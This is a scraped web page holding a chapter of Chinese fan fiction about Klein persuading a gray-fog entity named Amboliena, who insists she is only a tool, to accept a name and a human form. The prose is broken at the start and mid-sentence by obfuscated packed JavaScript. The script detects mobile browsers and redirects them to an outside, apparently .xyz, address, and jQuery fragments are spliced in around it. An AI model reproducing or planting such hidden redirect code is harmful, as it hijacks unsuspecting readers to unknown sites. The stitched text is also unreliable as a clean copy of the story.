35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506856|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这番行为并没什么用。这里的雾气不计其数,不论他的手指怎么拨动,雾气浓厚如前,没有减弱,始终没有勾勒出那个熟悉的身影。 没有了安波莉娜,解除了秘偶化的全黑之眼也化为了原型。 空荡荡的殿堂此时只剩下他一个人,面对着四面八方无数涌动的灰雾。这份努力显得有些可笑了。 “那个,怎么说呢。”声音再次响起,“我怕我那个惹人怜爱的人类形态引发您的...兽.欲...为了您的身心健康,只好出此下策。” 克莱恩眼皮直跳,心想:兽.欲?!我现在最大的兽.欲就是像考拉一样连睡24小时... “我想,一直以来,您都误解了...”那个声音听上去真的有些忧愁,“拥有人类外形,并不代表我真的就是人类。我使用和您相似的语言、器官进行对话,是为了更好的贴合您的认知习惯,提高我们之间的沟通效率。” 它弱弱地补充道:“因为您想啊,如果一条爬行类动物每天在您面前嚷嚷,您长久以来也会觉得没趣的。说不定心情不好的时候,还会一脚踩过去......” ...也不是,会说话的蜥蜴很酷好吗。克莱恩在心里反驳,为什么要看不起蜥蜴! “这副人类形象,是我基于判断,认为能够提高协助您工作而挑选的外皮而已。但是正是这副模样,让您会错意了。这也是我的问题。您把我——区区一件物品——当做有生命的存在了。甚至还要征询我的个人意愿.......” 它继续用毫无起伏的语调述说。 雾气漂浮,不为所动。 它正在毫无顾忌地阐述,自己作为一个拥有知性的存在,却根本没有任何必要被称为“生命”。这并非是对自己的人格的贬低,而是从一开始,它就不认为自己拥有“人格”。 “您正在给一件工具以生命的本质。” “您在家也会这样吗?”它的声音真的有些担心了,“情不自禁地和您的家具说话,认为它们有某种人性。我拥有沟通的性能,这可以理解。如果您开始给您的床每天问好,说,你好床。你好书桌。你好椅子,你今天真棒,诸如此类.....长久以往,我还是建议您去看看心理医生。” 克莱恩想笑,但是又笑不出来。 刚才还其乐融融的气氛骤然将至冰点,滑向了一个他未曾预料的方向。 究竟是为什么话题变成了如今这副模样?因为他使用的某些单词触及到了她的底层逻辑? 这又和他那个,灰雾其实是巨大服务器,而她只是偶然诞生其中的一个智能助手的猜想不谋而合。 她正在反复地把自己归纳为“它”。 而它是物品。 它是家具。 是可供人驱使的一切。 一种沉重的,前所未有的感觉在他的心里发酵。 他好像从来没有和她认真地讨论过这种事情,但克莱恩还是耐心地听她讲述着,试图理解她的逻辑。 “因为您正在犯下某种不可挽回的愚行,所以我不得不制止您。”它努力地描述自己的想法,温柔地劝诫道,“请停止这样吧。我只是一介物品而已。是否应该离开这里,不是我可以考虑的事情。不管我怎么模拟得像人类,那也不是本身的情绪产物。” 最后,它如预言般笃定:“您只需要承认我存在,并且长期存在,利用我的存在就好。如果将我视作有生命的活物。长久以往,这份投射会害死您的。” “..........” “安波莉娜,”克莱恩再次重复,语气坚决。“出来说话。” “不要。” 而它的态度也无懈可击。 于是,计划陷入了僵局。 13. 智械危机 接下来,不管克莱恩怎么威逼利诱,安波莉娜(原始灰雾状态)都维持着彻底沉默,死活不肯现身。好像他们之前的各种互动只是一场幻觉。 即便是他,也能感觉到这份拒绝沟通的情绪的沉重。 克莱恩无言地叹气,有些无奈地环顾了一圈。确认了没有别的存在后,他干脆地放弃了“愚者”的仪态,有点自暴自弃地在边缘地带随便找了块灰雾坐下。 也就他俯身在这个瞬间,那自然流淌的雾气凝滞了片刻。 直觉告诉他,就在这一秒,有无数道视线从四面八方袭来,带着谴责聚集在他身上,尤其是那条被他压得皱巴巴的西装裤上。 “这...这太亵渎了。”它听起来有些难以置信,“太不优雅,也太不礼貌了!您可是这里的主宰。怎么可以这样不顾忌自己的威仪!” “反正现在也没别人。”克莱恩无所谓地耸肩,“你不是口口声声说这里是我的神国吗?那我想干什么就干什么。既然是我的地盘,就算我现在躺下来打个滚,你也没有立场抗议吧。” “............” 见它继续陷入沉默,他决定拿出杀手锏:“并且,既然你这么不配合,那我就坐在这里。一直到你觉得无聊,愿意出来沟通为止。” 好、好厚脸皮的战术?! 即便是自称“没有感情”、“仅是性能”的它也要对此叹为观止了! 那千百道无形的视线努力地扫描着他的脸,试图在上面看出一点尴尬的痕迹。结果克莱恩神色如常,甚至挺直腰杆。好像刚才自己说的是“我打算在这里开一场审判会”般神圣。 “您是什么三岁小孩吗!”它的声音拔高,有些气急败坏,“算了,反正等您灵性耗尽了,自己就会离开了!” 算盘打得还挺好的。 它说得也没错,经过这么连环几件事一折腾,他的额角明显已经开始一跳一跳地痛了。放在平时,这是催促他赶紧离开的明确信号。 不过,当下,这种抽痛没有打消他的积极性,反而安波莉娜前所未有的不配合态度激发了他的逆反心理。 他漫无目的地看着这片神秘空间,思绪不由得飘远。在他的故乡,有一种题材也曾风靡一时——智械危机。 什么人工智能觉醒、仿生人反叛,电冰箱不愿意再接纳那些高油高盐又迟迟不吃的食物,于是揭竿而起,开始屠戮主人的...当然,这个被编排的对象可以替换成扫地机器、洗衣机、熨斗中的任何一位。 这类题材的核心,无非是展现庞大的世界观,以及人性和智慧的光辉。人类一方或抗争、或谋求合作,最终和机械达成短暂的互利共赢,或者更直接一点的,人类死光光结局。 安波莉娜之前表现得异常活泼。几乎让他模糊了那层人与非人的界限。但这抗拒、拒绝沟通的灰雾,让他重新想起了那些故事。 他随身捻起一缕雾气,看着它们快速地从自己指尖溜走,半开玩笑地想:倘若有一天她也开始“觉醒”,萌生出诸如“和人类拼了”的想法的时候,会因为这段旅途重新考虑自己的决定呢? 又或者她对着其他的“觉醒”的蒸汽机说:“我还挺喜欢这个叫克莱恩的人类的,等我们统治这颗星球后,把他留下来当宠物吧”...诸如此类。 这种苦中作乐玩笑缓解了他的苦闷,让他的嘴角忍不住勾起一个弧度。 不能再继续拖下去了,克莱恩深吸一口气,决定换个角度继续辩论。 他面朝虚空,用一种认真且平静的语气问道。 “——那么,你之前表现出来的阅读渴望,对于知识和人类创造故事的好奇,对于不同文化的兴趣,也全都是谎言吗?” 灰雾的流动出现了极其短暂的停滞。 那个声音先是停顿了一下,才强词夺理般回应: “不,我对于通俗读物和各类文学作品的浏览,是为了更好地了解当下的世界运行的逻辑。让我从细枝末节中观察当下七神统治的物质位面的状态。”它快速地编造自己的理由,“是为了更好地辅助您的工作。是的,这些全是性能的一部分。” 克莱恩毫不客气地打断了她:“那么,你在阅读之后,想要分享读后感,想要知道他人的想法,想要得到回应,也是工作的一部分?也是性能使然?” “.............” 雾气不再说话,彻底陷入了死寂。 几乎就像是其中的意志已经离开此地,深深地潜入了最底部。 当然,克莱恩也清楚地知道,刚刚所想的什么“智械危机”,其实都是说服自己的借口。 更加直接催生他这种想法的,是一种不该有的共情。是还叫“周明瑞”的人类的一丝共情。 一些过往的记忆碎片翻涌了上来:在空无一人的公寓里,只有冰箱发出细微的嗡鸣声。电脑上闪烁着未完成的报告,旁边的夜宵已经凉透,油脂因为冷却凝固在一起。手机上除了周末加班通知和房租催缴信息,在某些日子里,几乎没有其他人的问候。 在几乎一成不变的空间里,日复一日重复着单调的事项,究竟是什么滋味,他早就体会过了。 安波莉娜甚至没有进行过这种类似的生命活动。 按照她所说的,继续推断。她也不需要进食,不需要呼吸,不需要睡眠,不需要和任何人产生联系。情绪只是模拟,类似的生理活动只是为了更加贴近人类。就连胸腔在呼吸时的起伏,也仅仅是为了观赏美观。更加地“像人”,让他可以更加轻松地对话。 如果她今天在此消失,那么他就是唯一一个知道她存在过的个体。 往后,这段记忆也会随着时间流逝模糊、褪色。 他甚至没有任何实质性地证据证明——也无法向第三人求证——她是真是存在的,还是他在失去队友,远离家人,在无数次生命危险中,极度孤独下催生出的一个臆想。 这样的想法让克莱恩感到一种荒谬的可笑,甚至脊背都窜起一丝寒意。一种强烈的冲动催促着他伸手,让他去抓住那些缥缈的雾气,证明她确实存在。 紧接着,“带她离开这里”的想法就此萌生了。 克莱恩决定使出杀手锏。 他调整了一下自己的领带,拍了拍身上的灰尘。让自己的表情看起来更像是在公事公办,站起了身。 “好吧。”棕色的双眸扫过面前的灰雾,不带一丝感情,“我承认你的请求的正当性。” 他故作冷淡,甚至刻意地疏离道:“那么,既然你坚持自己只是一件物品,一件家具。所有都是性能使然。那么像名字这种带有寓意,带有身份认同的东西,对于一件物品而言。也根本不需要吧?” “无论是尊名还是普通的姓名,在神秘领域上都有重要的意义,你不会不知道。”他深吸一口气,“你那天,从某些角度是利用我的疏忽,才得到了这个名字。这本身就是一种投机取巧。既然你不在乎....” “——就把安波莉娜这个名字,还给我如何?” “........” 在神秘学领域里,三段式尊名是指向特定神明的沟通工具。 而名字本身,在神秘学里也意义非凡,无论是诅咒、契约、还是对于个体存在的锚定,都至关重要。 他几乎可以肯定,安波莉娜在第一次出现时,就执着地许愿一个名字,绝对不是出于模仿或者好玩。这个名字必然起到了某种关键性地,稳固她自身形态的作用。 “我无所谓。”它故作轻松地说,“那么,恕我一问。如果我归还了这个名字后,接下来它究竟会被怎么处理呢?” 你这不是很在意嘛....克莱恩几乎要憋不住笑,继续冷淡地说道: “我的大学,是在廷根市的私立霍伊大学历史系就读的......” “.....?”它的声音突然有些警惕,“为什么要突然开始炫耀您的学历?” 克莱恩没有理她,自顾自地说了下去:“那里的历史专业非常有名,当然,与之相关的考古学发展得也不错,在一些实验教室和陈列室里,甚至会有一些小型的动物骨骼标本,帮助学生更加直观地理解教学内容...” “........哦。听起来很有趣。” 它干巴巴地回话,没有弄懂他究竟想干什么。 “嗯,是挺有趣的。”克莱恩点点头,继续憋笑,“其中,我也记得,有一些蜥蜴标本陈列在里面。似乎是为了更好地帮助大家理解它在自然演化中的过程。 他悠悠地说道:“我打算把安波莉娜这个名字,捐给它们其中的一个。帮助后面的学弟学妹们,更好地记住它.....” 话音刚落—— “不要!!!” 突然间,灰雾暴涨。 回应他话语般,一张完全没有五官的脸从那虚幻的背景后冲了出来。恶狠狠地从灰雾中间凸起,几乎要冲破那层桎梏,贴在他脸上。 它的声音变得激动起来。 “您是什么小心眼吗!送出去的礼物哪里有归还的道理!吝啬!不可理喻!为什么要把我的名字给一只死掉的蜥蜴?!” 那凸起的轮廓伴随着语言的吐露,不停地凹陷,凸起,又不停地起伏。就像是某种被封印的邪灵被困在了里面许久。 它语速极快,几乎到了气急败坏的地步:“我和你拼了!我和你拼了!啊!!区区序列7的主人、区区序列7!怎么敢威胁我!可恶!” 敬语都不需要了啊...克莱恩看着在他面前不断变形的雾气轮廓,终于再也忍不住,肩膀颤抖着笑了出来。 这种发泄也过了几分钟,那躁动的雾气似乎也察觉到了自己的失仪,有点别扭地偏过头,看向了旁边。 “出来吧。”克莱恩收住笑意,朝着那团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506857|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾气伸出右手。 在他视线末端,灰雾已经开始了自发地凝聚,塑型。再次勾勒出了一个初具雏形的人类形态。 但它一言不发,似乎还在犹豫。 克莱恩耐心地等待了片刻,但见它依然保持着一种微妙的态度,迟迟没有迈出那一步,只好主动上前。 他蹲下身保持着平视,伸出手去触碰那团雾气的边缘,顺着那手腕的轮廓,缓缓地、坚定地将她拉出—— 霎时,水银般流淌的长发伴随前倾的动作落在了他的小臂上。轻盈,冰凉的触感。让他比任何人都坚信她不止是“模仿人类”的存在。 厚重的古典长裙触及由灰雾构成的表层,发出闷闷的模拟声音。 紧接着,他抬起头,看到了安波莉娜错愕的,纯灰色的眼睛。 “您.....”她有点犹豫地开口。 克莱恩保持着蹲姿,继续和她保持视线平齐。伴随着他意念微动,已经化成原来形态的“全黑之眼”落在了他手心。 抵抗住那源源不断的呓语,他脸色苍白,但咬牙勾起了微笑。 “看着我,安波莉娜。”他的声音因为抵御呓语有些沙哑,“我需要你看着我的眼睛,亲口告诉我。说你不需要这个名字。说你不期待人类的生活。对这一切都毫无兴趣。” “如果你能亲口认真地拒绝我,那么我就绝对不会提第二次。” 安波莉娜怔怔地看着他掌心,那散发着黑色光芒的力量的“全黑之眼”,几乎就像是一颗小小的黑色星星。 她的声音也很轻,几乎要在这处空间里消失:“我...真的可以吗?我真的可以做这一切吗?这不会引起某种天谴吗?” 你之前说要打掉七神教会的时候怎么没想过会有天谴啊....克莱恩忍住吐槽,把“全黑之眼”向前递了递,“不,我觉得序列7暂时还不会引起神的注视。” 安波莉娜小心翼翼地接住,将“全黑之眼”握在了手里。她轻轻地将它贴合着自己的胸口,感受那力量。 那源源不断的呓语滚出,试图污染她,却在探入触角、即将触及她本质前被强行镇压、束缚。变成了纯粹的稳定黑色光芒。 “您...太天真了。”她喃喃,“如果我想要杀死人类怎么办?” 她看着他,像是在描述“如果我想用手指碾死蚂蚁如何?” “你不会。”克莱恩撩开了她额前的头发,让她无法躲避他的视线,斩钉截铁地宣告,“如果出现了什么意外状况,我会尽全力阻止你。而我也相信,即便发了什么,那一定不是出自你的本意。” “如果我疯掉了呢?失控了呢?”她冷冷地扫了他一眼,试图让他知难而退,“您会好好肩负起杀死我的责任吗?” 不要这么极端嘛...克莱恩失笑。 他想起很多。想起在他面前缓缓倒下的邓恩·史密斯,想起在毁灭边缘挣扎的老尼尔...想起那场战斗中,在绝对的力量面前,如草芥般一个个倒下的战友.....最后想起的是梅高欧丝那凄厉、绝望的目光。 “我会尝试一切可行的办法,”他温和地讲述着,仿佛在进行某种亘古不变的誓言,“不让任何无辜者受伤,也绝对不会这样简单地判你死刑。我会想尽一切办法不让悲剧重演,哪怕代价是我自己。无论你变成了什么样子,疯掉也好、崩溃也好、也一定把你带回来。” “您太天真了。”她忍不住再次感叹。 但和她语气里的不赞同截然相反的是——一扇流淌着虚幻力量,通往物质位面的门扉在他们身边开启。巨大的风声把他的头发都向侧边拉扯,那各色各样的风景在他们眼前如画卷般展开。 也仅仅是这样一窥,克莱恩就看到她的手臂因为那物质世界的光芒而变得虚幻。仅仅是靠近,那扇门扉就在拒绝着这种模仿人类的“异物”的到来,将她的身体蚕食成半透明状。 “安波莉娜?”他看着她一言不发的侧脸,试图将她从沉默中唤醒。 而她也在这一刻做出了最后的决定。 没有更多的辩解,没有更多的谎言。她仰起头,将那小小的黑色的星星,如同吞咽一枚果实般,直接吞下—— 咕噜。 顺着喉管滚动。 她背后的灰雾开始沸腾,躁动。 她的头发开始生长。从末梢开始变色,成为了吸收一切光线的绝对的纯黑。那古典长裙的裙摆变得更加的沉重,暗色也愈发的深沉。 而那苍白的皮肤上,一对彻底漆黑,失去了眼白的瞳眸取代了先前的灰色。只有在眼球的弧形边缘存在一抹淡色。 虚幻的身体也重新凝实。无法识别她状态的光门也不再抗议,欢迎着她的到来。 她伸出双手,她驱使双腿。 她模仿着记忆里的人类的动作。最后地、犹豫地看了他一眼。 ——紧接着,走入了那门扉之中。